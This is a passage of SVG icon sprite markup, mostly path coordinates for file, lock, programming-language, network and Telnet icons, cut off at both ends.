id=\"icon-filelock\" viewBox=\"0 0 1024 1024\"><path d=\"M256 85.333333C208.64 85.333333 170.666667 123.733333 170.666667 170.666667L170.666667 853.333333C170.666667 900.266667 209.066667 938.666667 256 938.666667L768 938.666667C814.933333 938.666667 853.333333 900.266667 853.333333 853.333333L853.333333 341.333333 597.333333 85.333333 256 85.333333M554.666667 149.333333 789.333333 384 554.666667 384 554.666667 149.333333M512 469.333333C582.826667 469.333333 640 526.506667 640 597.333333L640 640 682.666667 640 682.666667 810.666667 341.333333 810.666667 341.333333 640 384 640 384 597.333333C384 527.36 441.173333 469.333333 512 469.333333M512 554.666667C488.533333 554.666667 469.333333 573.866667 469.333333 597.333333L469.333333 640 554.666667 640 554.666667 597.333333C554.666667 574.72 535.466667 554.666667 512 554.666667Z\"  ></path></symbol><symbol id=\"icon-transfer\" viewBox=\"0 0 1024 1024\"><path d=\"M783.272333 949.20655c-1.848091 0-3.607154-0.293689-5.249561-0.820692-6.451946-2.287089-10.763135-8.388041-10.763135-15.192004L767.259638 789.016151 422.917102 789.016151c-30.912034 0-56.075133-25.104771-56.075133-56.016805 0-30.912034 25.163099-56.016805 56.075133-56.016805L767.258615 676.982542 767.258615 532.805862c0-6.803963 4.281513-12.845563 10.67513-15.074324 1.612731-0.176009 3.108804-0.234337 4.457522-0.234337 7.214309 0 10.851139 2.052752 13.403265 5.279237L955.956278 723.028251c4.721535 5.865591 4.721535 14.077623 0.029676 19.943215L795.794531 943.223279C792.745079 947.036118 788.198529 949.20655 783.272333 949.20655z\"  ></path><path d=\"M240.727667 72.29556c1.848091 0 3.607154 0.293689 5.249561 0.820692 6.451946 2.287089 10.763135 8.388041 10.763135 15.192004l0 144.17668 344.341512 0c30.912034 0 56.075133 25.104771 56.075133 56.016805s-25.163099 56.016805-56.075133 56.016805L256.741385 344.518544l0 144.17668c0 6.803963-4.281513 12.845563-10.67513 15.074324-1.612731 0.176009-3.108804 0.234337-4.457522 0.234337-7.214309 0-10.851139-2.052752-13.403265-5.279237L68.043722 298.473859c-4.721535-5.865591-4.721535-14.077623-0.029676-19.943215L228.204445 78.278831C231.254921 74.465992 235.800447 72.29556 240.727667 72.29556z\"  ></path></symbol><symbol id=\"icon-inserttemplate\" viewBox=\"0 0 1024 1024\"><path d=\"M384 192l128 0 0 64-128 0zM576 192l128 0 0 64-128 0zM896 192l0 256-192 0 0-64 128 0 0-128-64 0 0-64zM320 384l128 0 0 64-128 0zM512 384l128 0 0 64-128 0zM192 256l0 128 64 0 0 64-128 0 0-256 192 0 0 64zM384 576l128 0 0 64-128 0zM576 576l128 0 0 64-128 0zM896 576l0 256-192 0 0-64 128 0 0-128-64 0 0-64zM320 768l128 0 0 64-128 0zM512 768l128 0 0 64-128 0zM192 640l0 128 64 0 0 64-128 0 0-256 192 0 0 64zM960 64l-896 0 0 896 896 0 0-896zM1024 0l0 0 0 1024-1024 0 0-1024 1024 0z\"  ></path></symbol><symbol id=\"icon-linux\" viewBox=\"0 0 1024 1024\"><path d=\"M452.32912 234.848q-6.272 0.576-8.864 6.016t-4.864 5.44q-2.848 0.576-2.848-2.848 0-6.848 10.848-8.576l5.728 0zM502.05712 242.848q-2.272 0.576-6.56-3.712t-10.016-2.56q13.728-6.272 18.272 1.152 1.728 3.424-1.728 5.152zM301.48112 486.848q-2.272-0.576-3.424 1.728t-2.56 7.136-3.136 7.712-5.728 7.424q-4 5.728-0.576 6.848 2.272 0.576 7.136-4t7.136-10.272q0.576-1.728 1.152-4t1.152-3.424 0.864-2.56 0.288-2.272l0-1.728t-0.576-1.44-1.728-1.152zM790.05712 692q0-10.272-31.424-24 2.272-8.576 4.288-15.712t2.848-14.848 1.728-12.288 0.288-12.864-0.576-11.136-2.016-12.576-2.272-11.712-2.848-14.272-3.136-15.136q-5.728-27.424-26.848-58.848t-41.152-42.848q13.728 11.424 32.576 47.424 49.728 92.576 30.848 158.848-6.272 22.848-28.576 24-17.728 2.272-22.016-10.56t-4.576-47.712-6.56-61.152q-5.152-22.272-11.136-39.424t-11.136-26.016-8.864-14.016-7.424-8.576-4.288-4q-8-35.424-17.728-58.848t-16.864-32-13.44-18.848-8.576-22.848q-2.272-12 3.424-30.56t2.56-28.288-25.44-14.272q-8.576-1.728-25.44-10.272t-20.288-9.152q-4.576-0.576-6.272-14.848t4.576-29.152 20.576-15.424q21.152-1.728 29.152 17.152t2.272 33.152q-6.272 10.848-1.152 15.136t17.152 0.288q7.424-2.272 7.424-20.576l0-21.152q-2.848-17.152-7.712-28.576t-12-17.44-13.44-8.576-15.424-4.288q-61.152 4.576-50.848 76.576 0 8.576-0.576 8.576-5.152-5.152-16.864-6.016t-18.848 0.288-8.864-2.848q0.576-32.576-9.152-51.424t-25.728-19.424q-15.424-0.576-23.712 15.712t-9.44 34.016q-0.576 8.576 2.016 21.152t7.424 21.44 8.864 7.712q5.728-1.728 9.152-8 2.272-5.152-4-4.576-4 0-8.864-8.288t-5.44-19.136q-0.576-12.576 5.152-21.152t19.424-8q9.728 0 15.424 12t5.44 22.272-0.864 12.576q-12.576 8.576-17.728 16.576-4.576 6.848-15.712 13.44t-11.712 7.136q-7.424 8-8.864 15.424t4.288 10.272q8 4.576 14.272 11.136t9.152 10.848 10.56 7.424 20.288 3.712q26.848 1.152 58.272-8.576 1.152-0.576 13.152-4t19.712-6.016 16.864-7.424 12-10.016q5.152-8 11.424-4.576 2.848 1.728 3.712 4.864t-1.728 6.848-9.44 5.44q-11.424 3.424-32.288 12.288t-26.016 11.136q-25.152 10.848-40 13.152-14.272 2.848-45.152-1.152-5.728-1.152-5.152 1.152t9.728 10.848q14.272 13.152 38.272 12.576 9.728-0.576 20.576-4t20.576-8 19.136-10.016 17.152-9.728 14.016-6.848 10.016-1.44 4.864 6.272q0 1.152-0.576 2.56t-2.272 2.848-3.424 2.56-4.864 2.848-5.152 2.56-5.728 2.848-5.44 2.56q-16 8-38.56 25.152t-38.016 24.576-28 0.576q-12-6.272-36-41.728-12.576-17.728-14.272-12.576-0.576 1.728-0.576 5.728 0 14.272-8.576 32.288t-16.864 31.712-12 33.152 6.56 36q-13.152 3.424-35.712 51.424t-27.136 80.576q-1.152 10.272-0.864 39.424t-3.136 33.728q-4.576 13.728-16.576 1.728-18.272-17.728-20.576-53.728-1.152-16 2.272-32 2.272-10.848-0.576-10.272l-2.272 2.848q-20.576 37.152 5.728 94.848 2.848 6.848 14.272 16t13.728 11.424q11.424 13.152 59.424 51.712t53.152 43.712q9.152 8.576 10.016 21.728t-8 24.576-26.016 13.152q4.576 8.576 16.576 25.44t16 30.848 4 40.288q26.272-13.728 4-52.576-2.272-4.576-6.016-9.152t-5.44-6.848-1.152-3.424q1.728-2.848 7.424-5.44t11.424 1.44q26.272 29.728 94.848 20.576 76-8.576 101.152-49.728 13.152-21.728 19.424-17.152 6.848 3.424 5.728 29.728-0.576 14.272-13.152 52.576-5.152 13.152-3.424 21.44t13.728 8.864q1.728-10.848 8.288-44t7.712-51.424q1.152-12-3.712-42.016t-4.288-55.424 13.152-40.288q8.576-10.272 29.152-10.272 0.576-21.152 19.712-30.272t41.44-6.016 34.272 12.864zM431.20912 219.424q1.728-9.728-1.44-17.152t-6.56-8.576q-5.152-1.152-5.152 4 1.152 2.848 2.848 3.424 5.728 0 4 8.576-1.728 11.424 4.576 11.424 1.728 0 1.728-1.728zM670.63312 332q-1.152-4.576-3.712-6.56t-7.424-2.848-8.288-3.136q-2.848-1.728-5.44-4.576t-4-4.576-3.136-3.712-2.272-2.272-2.272 0.864q-8 9.152 4 24.864t22.272 18.016q5.152 0.576 8.288-4.576t2.016-11.424zM568.90512 210.272q0-6.272-2.848-11.136t-6.272-7.136-5.152-1.728q-8 0.576-4 4l2.272 1.152q8 2.272 10.272 17.728 0 1.728 4.576-1.152zM599.75312 77.152q0-1.152-1.44-2.848t-5.152-4-5.44-3.424q-8.576-8.576-13.728-8.576-5.152 0.576-6.56 4.288t-0.576 7.424-0.288 7.136q-0.576 2.272-3.424 6.016t-3.424 5.152 1.728 4.864q2.272 1.728 4.576 0t6.272-5.152 8.576-5.152q0.576-0.576 5.152-0.576t8.576-1.152 5.152-4zM922.63312 843.424q11.424 6.848 17.728 14.016t6.848 13.728-1.44 12.864-8.864 12.576-13.44 11.136-17.152 10.56-18.016 9.44-18.272 8.864-15.424 7.424q-21.728 10.848-48.864 32t-43.136 36.576q-9.728 9.152-38.848 11.136t-50.848-8.288q-10.272-5.152-16.864-13.44t-9.44-14.56-12.576-11.136-26.848-5.44q-25.152-0.576-74.272-0.576-10.848 0-32.576 0.864t-33.152 1.44q-25.152 0.576-45.44 8.576t-30.56 17.152-24.864 16.288-30.56 6.56q-16.576-0.576-63.424-17.728t-83.424-24.576q-10.848-2.272-29.152-5.44t-28.576-5.152-22.56-5.44-19.136-8.288-9.728-11.136q-5.728-13.152 4-38.016t10.272-31.136q0.576-9.152-2.272-22.848t-5.728-24.288-2.56-20.864 6.016-15.424q8-6.848 32.576-8t34.272-6.848q17.152-10.272 24-20t6.848-29.152q12 41.728-18.272 60.576-18.272 11.424-47.424 8.576-19.424-1.728-24.576 5.728-7.424 8.576 2.848 32.576 1.152 3.424 4.576 10.272t4.864 10.272 2.56 9.728 0.576 12.576q0 8.576-9.728 28t-8 27.424q1.728 9.728 21.152 14.848 11.424 3.424 48.288 10.56t56.864 11.712q13.728 3.424 42.272 12.576t47.136 13.152 31.712 2.272q24.576-3.424 36.864-16t13.152-27.424-4.288-33.44-10.848-29.728-11.424-20.864q-69.152-108.576-96.576-138.272-38.848-42.272-64.576-22.848-6.272 5.152-8.576-8.576-1.728-9.152-1.152-21.728 0.576-16.576 5.728-29.728t13.728-26.848 12.576-24q4.576-12 15.136-41.152t16.864-44.576 17.152-34.848 22.272-30.848q62.848-81.728 70.848-111.424-6.848-64-9.152-177.152-1.152-51.424 13.728-86.56t60.576-59.712q22.272-12 59.424-12 30.272-0.576 60.576 7.712t50.848 23.712q32.576 24 52.288 69.44t16.864 84.288q-2.848 54.272 17.152 122.272 19.424 64.576 76 124.576 31.424 33.728 56.864 93.152t34.016 109.152q4.576 28 2.848 48.288t-6.848 31.712-11.424 12.576q-5.728 1.152-13.44 10.848t-15.424 20.288-23.136 19.136-34.848 8q-10.272-0.576-18.016-2.848t-12.864-7.712-7.712-8.864-6.56-11.712-5.152-11.136q-12.576-21.152-23.424-17.152t-16 28 4 55.424q11.424 40 0.576 111.424-5.728 37.152 10.272 57.44t41.728 18.848 48.576-20.288q33.728-28 51.136-38.016t59.136-24.288q30.272-10.272 44-20.864t10.56-19.712-14.272-16.288-29.44-13.44q-18.848-6.272-28.288-27.424t-8.576-41.44 8.864-27.136q0.576 17.728 4.576 32.288t8.288 23.136 11.712 16.288 12 10.848 12.288 7.424 9.44 5.44z\"  ></path></symbol><symbol id=\"icon-sql\" viewBox=\"0 0 1024 1024\"><path d=\"M298.337 320.634l-55.116 48.677c-19.402-26.983-39.066-40.39-59.171-40.39-9.789 0-17.726 2.645-23.986 7.849-6.174 5.204-9.347 11.109-9.347 17.726 0 6.525 2.207 12.787 6.702 18.606 6.001 7.849 24.252 24.605 54.587 50.266 28.396 23.723 45.678 38.714 51.677 44.973 15.081 15.254 25.837 29.806 32.099 43.741 6.26 13.933 9.434 29.101 9.434 45.595 0 32.099-11.109 58.641-33.246 79.54-22.223 20.899-51.147 31.396-86.773 31.396-27.868 0-52.116-6.79-72.841-20.46-20.636-13.67-38.359-35.095-53.087-64.375l62.611-37.742c18.783 34.57 40.476 51.852 64.992 51.852 12.787 0 23.547-3.703 32.276-11.2 8.731-7.407 13.052-16.048 13.052-25.837 0-8.907-3.263-17.726-9.877-26.63-6.614-8.907-21.074-22.396-43.387-40.653-42.592-34.745-70.194-61.554-82.627-80.425s-18.606-37.742-18.606-56.527c0-27.158 10.316-50.443 31.042-69.842 20.636-19.402 46.207-29.103 76.545-29.103 19.489 0 38.097 4.499 55.823 13.581 17.542 8.908 36.678 25.398 57.227 49.386v0z\"  ></path><path d=\"M684.673 601.499l68.078 88.006h-88.182l-34.57-44.533c-28.57 15.695-60.495 23.455-95.591 23.455-58.729 0-107.585-20.283-146.474-60.758-38.89-40.476-58.288-88.801-58.288-144.798 0-37.389 9.082-71.783 27.158-103.087s42.945-56.174 74.69-74.605c31.657-18.429 65.699-27.69 102.029-27.69 55.555 0 103.174 20.017 143.035 60.141 39.86 40.036 59.79 88.89 59.79 146.563 0 53.088-17.283 98.765-51.677 137.303v0zM638.197 541.357c15.787-23.371 23.633-49.295 23.633-77.691 0-37.036-12.523-68.518-37.567-94.447-25.044-25.837-55.291-38.799-90.827-38.799-36.595 0-67.194 12.61-91.886 37.742-24.692 25.221-37.036 57.143-37.036 96.031 0 43.297 15.518 77.514 46.651 102.646 24.339 19.663 51.94 29.541 82.893 29.541 17.726 0 34.481-3.44 50.087-10.406l-70.018-90.124h88.801l35.275 45.503z\"  ></path><path d=\"M779.294 267.37h74.426v320.198h108.554v70.99h-182.981v-391.184z\"  ></path></symbol><symbol id=\"icon-js\" viewBox=\"0 0 1024 1024\"><path d=\"M64 64v896h896V64H64z m487.6 698.8c0 87.2-51.2 127-125.8 127-67.4 0-106.4-34.8-126.4-77l68.6-41.4c13.2 23.4 25.2 43.2 54.2 43.2 27.6 0 45.2-10.8 45.2-53V475.4h84.2v287.4z m199.2 127c-78.2 0-128.8-37.2-153.4-86l68.6-39.6c18 29.4 41.6 51.2 83 51.2 34.8 0 57.2-17.4 57.2-41.6 0-28.8-22.8-39-61.4-56l-21-9c-60.8-25.8-101-58.4-101-127 0-63.2 48.2-111.2 123.2-111.2 53.6 0 92 18.6 119.6 67.4L800 580c-14.4-25.8-30-36-54.2-36-24.6 0-40.2 15.6-40.2 36 0 25.2 15.6 35.4 51.8 51.2l21 9c71.6 30.6 111.8 62 111.8 132.4 0 75.6-59.6 117.2-139.4 117.2z\" fill=\"\" ></path></symbol><symbol id=\"icon-hash\" viewBox=\"0 0 1024 1024\"><path d=\"M853.333333 597.333333h-183.466666l31.146666-170.666666H853.333333a42.666667 42.666667 0 0 0 0-85.333334h-136.96l29.44-162.56A42.666667 42.666667 0 0 0 709.973333 128a42.666667 42.666667 0 0 0-52.053333 34.986667L625.92 341.333333h-165.546667l29.44-162.56A42.666667 42.666667 0 0 0 453.973333 128a42.666667 42.666667 0 0 0-52.053333 34.986667L369.92 341.333333H170.666667a42.666667 42.666667 0 0 0 0 85.333334h183.466666l-31.146666 170.666666H170.666667a42.666667 42.666667 0 0 0 0 85.333334h136.96l-29.44 162.56A42.666667 42.666667 0 0 0 314.026667 896a42.666667 42.666667 0 0 0 52.053333-34.986667L398.08 682.666667h165.546667l-29.44 162.56a42.666667 42.666667 0 0 0 35.84 50.773333 42.666667 42.666667 0 0 0 52.053333-34.986667l32-178.346666H853.333333a42.666667 42.666667 0 0 0 0-85.333334zM413.866667 597.333333l31.146666-170.666666h165.12l-31.146666 170.666666z\"  ></path></symbol><symbol id=\"icon-Network-Plug\" viewBox=\"0 0 1024 1024\"><path d=\"M921.6 1006.933333H102.4C54.613333 1006.933333 17.066667 969.386667 17.066667 921.6V102.4C17.066667 54.613333 54.613333 17.066667 102.4 17.066667h819.2c47.786667 0 85.333333 37.546667 85.333333 85.333333v819.2c0 47.786667-37.546667 85.333333-85.333333 85.333333zM102.4 51.2c-27.306667 0-51.2 23.893333-51.2 51.2v819.2c0 27.306667 23.893333 51.2 51.2 51.2h819.2c27.306667 0 51.2-23.893333 51.2-51.2V102.4c0-27.306667-23.893333-51.2-51.2-51.2H102.4z\" fill=\"\" ></path><path d=\"M819.2 733.866667H204.8c-10.24 0-17.066667-6.826667-17.066667-17.066667V375.466667c0-10.24 6.826667-17.066667 17.066667-17.066667h119.466667V307.2c0-10.24 6.826667-17.066667 17.066666-17.066667h85.333334V238.933333c0-10.24 6.826667-17.066667 17.066666-17.066666h136.533334c10.24 0 17.066667 6.826667 17.066666 17.066666v51.2H682.666667c10.24 0 17.066667 6.826667 17.066666 17.066667v51.2H819.2c10.24 0 17.066667 6.826667 17.066667 17.066667v341.333333c0 10.24-6.826667 17.066667-17.066667 17.066667z m-597.333333-34.133334h580.266666v-307.2H682.666667c-10.24 0-17.066667-6.826667-17.066667-17.066666V324.266667H580.266667c-10.24 0-17.066667-6.826667-17.066667-17.066667V256h-102.4V307.2c0 10.24-6.826667 17.066667-17.066667 17.066667h-85.333333V375.466667c0 10.24-6.826667 17.066667-17.066667 17.066666H221.866667v307.2z\" fill=\"\" ></path><path d=\"M307.2 733.866667c-10.24 0-17.066667-6.826667-17.066667-17.066667v-102.4c0-10.24 6.826667-17.066667 17.066667-17.066667s17.066667 6.826667 17.066667 17.066667v102.4c0 10.24-6.826667 17.066667-17.066667 17.066667zM409.6 733.866667c-10.24 0-17.066667-6.826667-17.066667-17.066667v-102.4c0-10.24 6.826667-17.066667 17.066667-17.066667s17.066667 6.826667 17.066667 17.066667v102.4c0 10.24-6.826667 17.066667-17.066667 17.066667zM614.4 733.866667c-10.24 0-17.066667-6.826667-17.066667-17.066667v-102.4c0-10.24 6.826667-17.066667 17.066667-17.066667s17.066667 6.826667 17.066667 17.066667v102.4c0 10.24-6.826667 17.066667-17.066667 17.066667zM716.8 733.866667c-10.24 0-17.066667-6.826667-17.066667-17.066667v-102.4c0-10.24 6.826667-17.066667 17.066667-17.066667s17.066667 6.826667 17.066667 17.066667v102.4c0 10.24-6.826667 17.066667-17.066667 17.066667zM512 733.866667c-10.24 0-17.066667-6.826667-17.066667-17.066667v-102.4c0-10.24 6.826667-17.066667 17.066667-17.066667s17.066667 6.826667 17.066667 17.066667v102.4c0 10.24-6.826667 17.066667-17.066667 17.066667z\" fill=\"\" ></path><path d=\"M921.6 102.4m-17.066667 0a17.066667 17.066667 0 1 0 34.133334 0 17.066667 17.066667 0 1 0-34.133334 0Z\" fill=\"\" ></path><path d=\"M102.4 102.4m-17.066667 0a17.066667 17.066667 0 1 0 34.133334 0 17.066667 17.066667 0 1 0-34.133334 0Z\" fill=\"\" ></path><path d=\"M921.6 921.6m-17.066667 0a17.066667 17.066667 0 1 0 34.133334 0 17.066667 17.066667 0 1 0-34.133334 0Z\" fill=\"\" ></path><path d=\"M102.4 921.6m-17.066667 0a17.066667 17.066667 0 1 0 34.133334 0 17.066667 17.066667 0 1 0-34.133334 0Z\" fill=\"\" ></path></symbol><symbol id=\"icon-l-file\" viewBox=\"0 0 1024 1024\"><path d=\"M870.667 862.869H153.333c-20.435 0-37-16.565-37-37V198.13c0-20.435 16.565-37 37-37h204.16a37 37 0 0 1 31.769 18.033l93.288 156.255h388.116c20.435 0 37 16.565 37 37v453.45c0.001 20.436-16.565 37.001-36.999 37.001z m-680.334-74h643.333v-379.45H461.548a37.002 37.002 0 0 1-31.769-18.033L336.491 235.13H190.333v553.739z\"  ></path><path d=\"M870.029 300.396H399.845c-20.435 0-37-16.565-37-37s16.565-37 37-37h470.184c20.435 0 37 16.565 37 37s-16.565 37-37 37z\"  ></path><path d=\"M870.663 431.186c-20.351 0-36.896-16.446-36.996-36.819l-0.637-130.79c-0.1-20.434 16.385-37.08 36.819-37.18h0.184c20.351 0 36.896 16.447 36.996 36.82l0.637 130.789c0.1 20.435-16.385 37.081-36.819 37.181l-0.184-0.001z\"  ></path><path d=\"M683.124 716H340.876c-17.673 0-32-14.327-32-32s14.327-32 32-32h342.247c17.673 0 32 14.327 32 32s-14.327 32-31.999 32z\"  ></path></symbol><symbol id=\"icon-html-\" viewBox=\"0 0 1024 1024\"><path d=\"M42.666667 149.482667A106.752 106.752 0 0 1 149.482667 42.666667h725.034666A106.752 106.752 0 0 1 981.333333 149.482667v725.034666A106.752 106.752 0 0 1 874.517333 981.333333H149.482667A106.752 106.752 0 0 1 42.666667 874.517333V149.482667z m85.333333 0v725.034666C128 886.421333 137.578667 896 149.482667 896h725.034666c11.904 0 21.482667-9.578667 21.482667-21.482667V149.482667C896 137.578667 886.421333 128 874.517333 128H149.482667C137.578667 128 128 137.578667 128 149.482667z m243.498667 264.682666L273.664 512l97.834667 97.834667a42.666667 42.666667 0 0 1-60.330667 60.330666l-128-128a42.666667 42.666667 0 0 1 0-60.330666l128-128a42.666667 42.666667 0 0 1 60.330667 60.330666z m281.002666 195.669334L750.336 512l-97.834667-97.834667a42.666667 42.666667 0 0 1 60.330667-60.330666l128 128a42.666667 42.666667 0 0 1 0 60.330666l-128 128a42.666667 42.666667 0 0 1-60.330667-60.330666z m-115.712-263.978667a42.666667 42.666667 0 0 1 78.421334 33.621333l-128 298.666667a42.666667 42.666667 0 0 1-78.421334-33.621333l128-298.666667z\"  ></path></symbol><symbol id=\"icon-jiemaleixing\" viewBox=\"0 0 1505 1024\"><path d=\"M120.470588 120.470588v783.058824h1264.941177V120.470588H120.470588zM60.235294 0h1385.411765c33.129412 0 60.235294 27.105882 60.235294 60.235294v903.529412c0 33.129412-27.105882 60.235294-60.235294 60.235294H60.235294c-33.129412 0-60.235294-27.105882-60.235294-60.235294V60.235294C0 27.105882 27.105882 0 60.235294 0z m331.294118 331.294118h120.470588c33.129412 0 60.235294 27.105882 60.235294 60.235294s-27.105882 60.235294-60.235294 60.235294h-120.470588c-33.129412 0-60.235294-27.105882-60.235294-60.235294s27.105882-60.235294 60.235294-60.235294z m0 240.941176h120.470588c33.129412 0 60.235294 27.105882 60.235294 60.235294s-27.105882 60.235294-60.235294 60.235294h-120.470588c-33.129412 0-60.235294-27.105882-60.235294-60.235294s27.105882-60.235294 60.235294-60.235294z m331.294117-240.941176h120.470589c33.129412 0 60.235294 27.105882 60.235294 60.235294s-27.105882 60.235294-60.235294 60.235294h-120.470589c-33.129412 0-60.235294-27.105882-60.235294-60.235294s27.105882-60.235294 60.235294-60.235294z m0 240.941176h120.470589c33.129412 0 60.235294 27.105882 60.235294 60.235294s-27.105882 60.235294-60.235294 60.235294h-120.470589c-33.129412 0-60.235294-27.105882-60.235294-60.235294s27.105882-60.235294 60.235294-60.235294z m376.470589-90.352941c-42.164706 0-75.294118-33.129412-75.294118-75.294118s33.129412-75.294118 75.294118-75.294117 75.294118 33.129412 75.294117 75.294117-33.129412 75.294118-75.294117 75.294118z m0 210.823529c-42.164706 0-75.294118-33.129412-75.294118-75.294117s33.129412-75.294118 75.294118-75.294118 75.294118 33.129412 75.294117 75.294118-33.129412 75.294118-75.294117 75.294117z\"  ></path></symbol><symbol id=\"icon-lock-open\" viewBox=\"0 0 1024 1024\"><path d=\"M512 725.333333c47.146667 0 85.333333-38.186667 85.333333-85.333333s-38.186667-85.333333-85.333333-85.333333-85.333333 38.186667-85.333333 85.333333 38.186667 85.333333 85.333333 85.333333z m256-384h-42.666667v-85.333333c0-117.76-95.573333-213.333333-213.333333-213.333333S298.666667 138.24 298.666667 256h81.066666c0-72.96 59.306667-132.266667 132.266667-132.266667 72.96 0 132.266667 59.306667 132.266667 132.266667v85.333333H256c-47.146667 0-85.333333 38.186667-85.333333 85.333334v426.666666c0 47.146667 38.186667 85.333333 85.333333 85.333334h512c47.146667 0 85.333333-38.186667 85.333333-85.333334V426.666667c0-47.146667-38.186667-85.333333-85.333333-85.333334z m0 512H256V426.666667h512v426.666666z\"  ></path></symbol><symbol id=\"icon-lock\" viewBox=\"0 0 1024 1024\"><path d=\"M298.666667 512v298.666667h469.333333v-298.666667H298.666667z m384-85.333333V320C682.666667 261.248 634.752 213.333333 575.744 213.333333h-84.821333A106.794667 106.794667 0 0 0 384 320V426.666667h298.666667z m-384 0V320C298.666667 213.973333 384.768 128 490.922667 128h84.821333A192.256 192.256 0 0 1 768 320V426.666667h85.333333v469.333333H213.333333V426.666667h85.333334z\"  ></path></symbol><symbol id=\"icon-sort_others\" viewBox=\"0 0 1024 1024\"><path d=\"M427.031631 466.754954h-330.830769a31.507692 31.507692 0 0 1-31.507693-31.507692v-330.83077a31.507692 31.507692 0 0 1 31.507693-31.507692h330.830769a31.507692 31.507692 0 0 1 31.507692 31.507692v330.83077a31.507692 31.507692 0 0 1-31.507692 31.507692z m-299.323077-63.015385h267.815384v-267.815384h-267.815384v267.815384zM925.9008 466.754954h-330.830769a31.507692 31.507692 0 0 1-31.507693-31.507692v-330.83077a31.507692 31.507692 0 0 1 31.507693-31.507692h330.830769a31.507692 31.507692 0 0 1 31.507692 31.507692v330.83077a31.507692 31.507692 0 0 1-31.507692 31.507692z m-299.323077-63.015385h267.815385v-267.815384h-267.815385v267.815384zM427.031631 962.071631h-330.830769a31.507692 31.507692 0 0 1-31.507693-31.507693v-330.830769a31.507692 31.507692 0 0 1 31.507693-31.507692h330.830769a31.507692 31.507692 0 0 1 31.507692 31.507692v330.830769a31.507692 31.507692 0 0 1-31.507692 31.507693z m-299.323077-63.015385h267.815384v-267.815384h-267.815384v267.815384zM925.9008 962.071631h-330.830769a31.507692 31.507692 0 0 1-31.507693-31.507693v-330.830769a31.507692 31.507692 0 0 1 31.507693-31.507692h330.830769a31.507692 31.507692 0 0 1 31.507692 31.507692v330.830769a31.507692 31.507692 0 0 1-31.507692 31.507693z m-299.323077-63.015385h267.815385v-267.815384h-267.815385v267.815384z\" fill=\"\" ></path></symbol><symbol id=\"icon-about\" viewBox=\"0 0 1024 1024\"><path d=\"M512 0C229.376 0 0 229.376 0 512s229.376 512 512 512 512-229.376 512-512S794.624 0 512 0z m62.464 774.144c0 27.648-22.528 50.176-50.176 50.176h-25.088c-27.648 0-50.176-22.528-50.176-50.176V474.624c0-27.648 22.528-50.176 50.176-50.176h25.088c27.648 0 50.176 22.528 50.176 50.176v299.52zM512 349.696c-34.304 0-62.464-28.16-62.464-62.464 0-34.304 28.16-62.464 62.464-62.464s62.464 28.16 62.464 62.464c0 34.304-28.16 62.464-62.464 62.464z\"  ></path></symbol><symbol id=\"icon-lvzhou_yuanchengTelnet\" viewBox=\"0 0 1024 1024\"><path d=\"M826.24628022 53.24171909H199.32480976C113.57628848 53.24171909 43.81517907 123.00282849 43.81517907 208.75134978v430.533649c0 85.75009236 69.76110941 155.51120178 155.50963069 155.51120179H411.4502398v76.98341013H236.53450541c-16.48387632 0-29.85071007 23.1170183-29.85071008 51.06042512 0 27.94183572 13.36683376 51.0604251 29.85071008 51.06042509h553.02525218c16.48544739 0 29.85071007-23.1185894 29.85071006-51.06042509 0-27.94340679-13.36526265-51.0604251-29.85071006-51.06042512H614.1208502v-76.98341013h212.12543002C911.99480153 794.79620057 981.75591092 725.03509116 981.75591092 639.28656987V208.75134978C981.75591092 123.00282849 911.99480153 53.24171909 826.24628022 53.24171909zM887.49051073 639.28656987C887.49051073 673.05714948 860.01685986 700.53080036 826.24628022 700.53080036H199.32480976C165.55423013 700.53080036 138.08057926 673.05714948 138.08057926 639.28656987V208.75134978C138.08057926 174.98077014 165.55423013 147.50711927 199.32480976 147.50711927h626.91989939C860.01685986 147.50711927 887.49051073 174.98077014 887.49051073 208.75134978v430.53522009z\"  ></path><path d=\"M274.76540951 252.77014948h474.46918098v344.06871069H274.76540951z\"  ></path></symbol><symbol id=\"icon-ruby\" viewBox=\"0 0 1024 1024\"><path d=\"M859.989333 3.541333c129.408 22.4 166.101333 110.848 163.370667 203.52L1024 205.738667 965.76 968.96 208.64 1020.842667h0.682667C146.474667 1018.197333 6.4 1012.437333 0 816.597333l70.186667-128 120.277333 281.002667 21.461333 50.005333 119.68-390.144-1.28 0.298667 0.682667-1.28 394.88 126.122667-59.562667-231.722667-42.24-166.4 376.32-24.277333-26.24-21.76L704 90.197333 860.117333 3.114667l-0.128 0.426666zM0 814.464v1.109333-1.237333 0.128zM218.88 216.448c151.936-150.741333 348.032-239.829333 423.338667-163.84 75.178667 75.818667-4.48 260.48-156.714667 411.136-152.021333 150.698667-345.728 244.650667-420.864 168.832-75.349333-75.818667 1.92-265.258667 154.112-416l0.128-0.128z\" fill=\"\" ></path></symbol><symbol id=\"icon-perl\" viewBox=\"0 0 1024 1024\"><path d=\"M533.333333 597.333333c-42.666667 0-128 42.666667-128 85.333334 0 85.333333 128 85.333333 128 85.333333v-42.666667a42.666667 42.666667 0 0 1-42.666666-42.666666 42.666667 42.666667 0 0 1 42.666666-42.666667v-42.666667m0 213.333334s-170.666667-21.333333-170.666666-106.666667c0-128 128-160 170.666666-160V490.666667c-42.666667 0-213.333333 64-213.333333 192 0 170.666667 213.333333 170.666667 213.333333 170.666666v-42.666666M450.986667 299.946667l50.773333 22.613333c18.346667-104.106667 67.413333-173.226667 67.413333-173.226667-18.346667 43.946667-30.293333 80.213333-37.973333 108.8C582.826667 151.466667 687.36 85.333333 687.36 85.333333a679.082667 679.082667 0 0 0-112.64 150.613334c67.413333-71.68 160.853333-118.613333 160.853333-118.613334-114.773333 73.386667-166.4 189.866667-179.2 222.293334l23.466667 3.413333c0 22.186667 0 42.666667 10.666667 58.88 32.426667 80.64 198.826667 87.466667 198.826666 280.746667s-171.946667 256-263.253333 256-291.413333-41.386667-291.413333-256 211.2-216.32 248.746666-302.08c5.12-16.213333-32.426667-80.64-32.426666-80.64z\" fill=\"#9575CD\" ></path></symbol><symbol id=\"icon-php\" viewBox=\"0 0 1280 1024\"><path d=\"M640 209c342.8 0 606.4 144.4 606.4 303S982.6 815 640 815c-342.8 0-606.4-144.4-606.4-303S297.4 209 640 209m0-33.6C286.6 175.4 0 326 0 512s286.6 336.6 640 336.6S1280 698 1280 512 993.4 175.4 640 175.4zM436.4 485c-15.8 81-71.6 72.6-140.2 72.6l27.4-141.2c76 0 127.6-8.2 112.8 68.6zM194.8 700.6h73.4l17.4-89.6c82.2 0 133.2 6 180.4-38.2 52.2-48 65.8-133.4 28.6-176.2-19.4-22.4-50.6-33.4-93-33.4h-141.4L194.8 700.6z m371.4-427.2h73l-17.4 89.6c63 0 121.4-4.6 149.6 21.4 29.6 